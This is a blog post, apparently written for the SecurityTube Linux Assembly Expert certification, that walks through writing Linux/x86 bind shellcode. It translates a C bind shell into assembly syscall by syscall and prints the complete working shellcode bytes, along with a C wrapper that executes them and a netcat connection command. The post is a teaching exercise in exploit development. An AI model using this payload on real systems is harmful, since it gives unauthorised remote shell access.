SLAE 0x1: Linux/x86 Bind Shellcode

Aditya Chaudhary
7 min readJan 7, 2019

--

Before diving into the technicalities, let’s go through some of the basics.

Shellcode is basically a list of carefully crafted instructions that can be executed once the code is injected into a running application. Stack and heap-based buffer overflows are the most popular way of doing so.

A bind shell is a type of shell, which, upon execution, actively listens for connections on a particular port. The attacker can then connect to this port in order to get shell access.

TL;DR

Since we live in the era of widespread attention and time deficiency, here’s the summarised version of this entire story:

  • Analyze C bind shellcode
  • Create bind shellcode for x86 Linux in assembly
  • Create shellcode generator python script
  • Use shellcode wrapper in C for final test

Let’s begin

We will use nasm, ld and gcc to compile and link our code. If you are not aware of what are then you should first go through the basics of these tools.

Here is a bind shell in C:

bind_shell.c

Let’s compile this and analyse how this code snippet works.

Open another terminal and run nc -nv 127.0.0.1 7777

And the shell seems to work just fine. Let’s try and analyse this shell using strace strace ./bind_shell_c and observe all the system calls.

...
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(7777), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 0) = 0
accept(3, {sa_family=AF_INET, sin_port=htons(35880), sin_addr=inet_addr("127.0.0.1")}, [16]) = 4
dup2(4, 0) = 0
dup2(4, 1) = 1
dup2(4, 2) = 2
execve("/bin/sh", [0], [/* 0 vars */]) = 0
...

Now, we’ll analyse the C code and convert it into assembly code.

Linux 32bit has system calls mentioned in file: /usr/include/i386-linux-gnu/asm/unistd_32.h

Or use this site https://syscalls.kernelgrok.com/ to view the system calls list online.

Initialise Accumulator Register (EAX)

xor eax, eax

Create Socket

Let’s have a look at socket creation code in C:

socket_fd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );

Use man socketcall to view the man page of socketcall

int socketcall(int call, unsigned long *args);

Figure out the system call number of socketcall using unistd_32.h or using the syscalls website. Also find the call number (1st argument of socketcall) by viewing the contents of /usr/include/linux/net.h

/usr/include/linux/net.h

So, to create a socket using assembly we need to set the registers as shown below:

eax <= 0x66 (systemcall sys_socketcall)
ebx <= 0x1 (using above image)
ecx <= reference to arguments ( AF_INET, SOCK_STREAM, IPPROTO_IP )
AF_INET = 2
SOCK_STREAM = 1
IPPROTO_IP = 0

And the assembly code for creating the socket. On success, a file descriptor for the new socket is returned, store that is esi

xor eax, eaxpush eax     ;push 0
inc eax
push eax ; push 1
mov ebx, eax ; ebx = 1 ; SYS_SOCKET function
inc eax
push eax ; push 2
;stack = [2, 1, 0]
mov ecx, esp
mov al, 0x66 ; systemcall sys_socketcall
int 0x80
mov esi, eax ; store socket_fd

Bind Socket

C code for bind function:

struct sockaddr_in srv_addr;
srv_addr.sin_family = AF_INET;
srv_addr.sin_port = htons( 7777 );
srv_addr.sin_addr.s_addr = htonl (INADDR_ANY);
bind( socket_fd, (struct sockaddr *)&srv_addr, sizeof(srv_addr) );

So, to bind the socket using assembly we need to set the registers as shown below:

eax <= 0x66
ebx <= 0x2 (SYS_BIND from net.h)
ecx <= reference to arguments ( socket_fd, (struct sockaddr *)&srv_addr, sizeof(srv_addr) )
srv_addr.sin_family = 2 ;Equivalent for AF_INET
srv_addr.sin_port = 0x611e ;"7777" port in reversed order
srv_addr.sin_addr.s_addr = 0 ;listening to all interface

The plan now is to push the sockaddr into the stack. Then push sizeof(srv_addr), address of sockaddr pushed earlier, socket_fd (stored in esi earlier)

Stack (grows from top to bottom):
-----------
|0x00 | [high memory]
|0x611e |
|0x2 | <= srv_addr
|0x10 | <= sizeof(srv_addr) = 16
|&srv_addr|
|socket_fd| <= ecx

Code to bind the socket:

xor ebx, ebxpush ebx          ; s_addr
push word 0x611e ; port 7777
push word 0x2 ; Equivalent for AF_INET
mov ecx, esppush 0x10 ; sizeof(srv_addr) = 16
push ecx ; &srv_addr
push eax ; socket_fd
mov ecx, espmov bl, 0x2 ; SYS_BIND functionmov al, 0x66 ; systemcall sys_socketcall
int 0x80

Listen to Socket

The socket listening code in C:

listen(socket_fd, 0);

The registers will be:

eax <= 0x66
ebx <= 0x4 (SYS_LISTEN function)
ecx <= reference to arguments ( socket_fd, 0)

The assembly code:

xor ebx, ebx
push ebx ; push 0
push esi ; push socket_fd
mov ecx, esp ; reference to (socket_fd, 0)
mov bl, 0x4 ; SYS_LISTEN function
mov al, 0x66 ; systemcall sys_socketcall
int 0x80

Accept Incoming Connections

C code for accept function:

client_fd = accept(socket_fd, (struct sockaddr *)&cli_addr, &socklen );

The registers will contain the following values for the system call:

eax <= 0x66
ebx <= 0x5 (SYS_ACCEPT function)
ecx <= reference to arguments (socket_fd, (struct sockaddr *)&cli_addr, &socklen );

Second and third parameters to accept can be set as NULL. So, the code for assembly:

xor ebx, ebxpush ebx       ; push NULL
push ebx ; push NULL
push esi ; socket_fd
mov ecx, esp ; ecx = address of [socket_fd, NULL, NULL]
mov bl, 0x5 ; SYS_ACCEPT function
mov al, 0x66 ; systemcall sys_socketcall
int 0x80

Redirect I/O to Socket

I/O redirection code for input (0), output (1) and error (2) in C is mentioned below:

dup2(client_fd, 0);
dup2(client_fd, 1);
dup2(client_fd, 2);

The registers should have the following values for dup2(client_fd, 0):

eax <= 0x3f (systemcall dup2)
ebx <= client_fd
ecx <= 0 (for input redirection)

The code for input(0), output(1) and error(2) redirection to socket in assembly can be written as:

  mov ecx, ebx   ; ecx = 5 (from last code snippet)
sub ecx, 3 ; ecx = 2
mov ebx, eax ; client_fd
dup2:
mov al, 0x3f ; systemcall dup2
int 0x80
dec ecx
jns dup2

Executing /bin/sh

C code for executing /bin/sh is as follows:

execve( "/bin/sh", NULL, NULL );

To perform the same action in assembly, the registers need to be set as follows:

eax <= 0xb (11 = 0xb)
ebx <= "//bin/sh" reverse hex->(0x68732f6e69622f2f)
ecx <= NULL
edx <= NULL

We use 1 extra / before /bin/sh to make it 8 bytes in length

Assembly code for calling shell using execve will be:

xor ecx, ecx       ; ecx = NULL
mov edx, ecx ; edx = NULL
push ecx ; push NULL
push 0x68732f6e ; push n/sh in reverse
push 0x69622f2f ; push //bi in reverse
mov ebx, esp ; ebx now points to //bin/sh
mov al, 0xb ; systemcall execve
int 0x80

Complete Shellcode

bind_shell.asm

Let’s try it out.

Comple, Link and Execute the shellcode
Connect to the bind shell using netcat

The shellcode seems to work, let’s see if it works when we inject it into a running process.

Extract the shellcode

Use https://www.commandlinefu.com/commands/view/6051/get-all-shellcode-on-binary-file-from-objdump to get the command for objdump to extract the shellcode.

objdump -d ./bind_shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

And our result shellcode string using the above command:

"\x31\xc0\x50\x40\x50\x89\xc3\x40\x50\x89\xe1\xb0\x66\xcd\x80\x89\xc6\x31\xdb\x53\x66\x68\x1e\x61\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb3\x02\xb0\x66\xcd\x80\x31\xdb\x53\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x31\xdb\x53\x53\x56\x89\xe1\xb3\x05\xb0\x66\xcd\x80\x89\xd9\x83\xe9\x03\x89\xc3\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc9\x89\xca\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80"

Just make sure the shellcode does not contain any NULL characters (0x00). If so, then just replace that instruction with any equivalent instruction(s). Below mentioned are two assembly equivalent instructions:

mov eax, 0x00
xor eax, eax

Shellcode Generator

Let’s write a small python script that will change the port in the above created shellcode to a custom port provided to the script arguments.

shellcode_gen.py

Let’s generate the shellcode using the python script.

generating shellcode using generator script

Shellcode Testing using C wrapper

Let’s test our shellcode by writing a simple C program that will pass the control to our shellcode. I have added a gist for C wrapper program, here is the link to it: https://gist.github.com/AdityaChaudhary/d37361b4847de1640ad2923d277b936f

#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x50\x40\x50\x89\xc3\x40\x50\x89\xe1\xb0\x66\xcd\x80\x89\xc6\x31\xdb\x53\x66\x68\x1e\x61\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb3\x02\xb0\x66\xcd\x80\x31\xdb\x53\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x31\xdb\x53\x53\x56\x89\xe1\xb3\x05\xb0\x66\xcd\x80\x89\xd9\x83\xe9\x03\x89\xc3\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc9\x89\xca\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));

int (*ret)() = (int(*)())code;
ret();}

Let’s run this C program which should pass control to our shellcode.

Compile and execute shellcode in C wrapper

Connecting to the bind shell we created using C code.

Netcat connection to bind shell

Everything seems to work just fine!!

Congrats you can now write your own awesome bind shellcode :)

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: PA-8416

--

--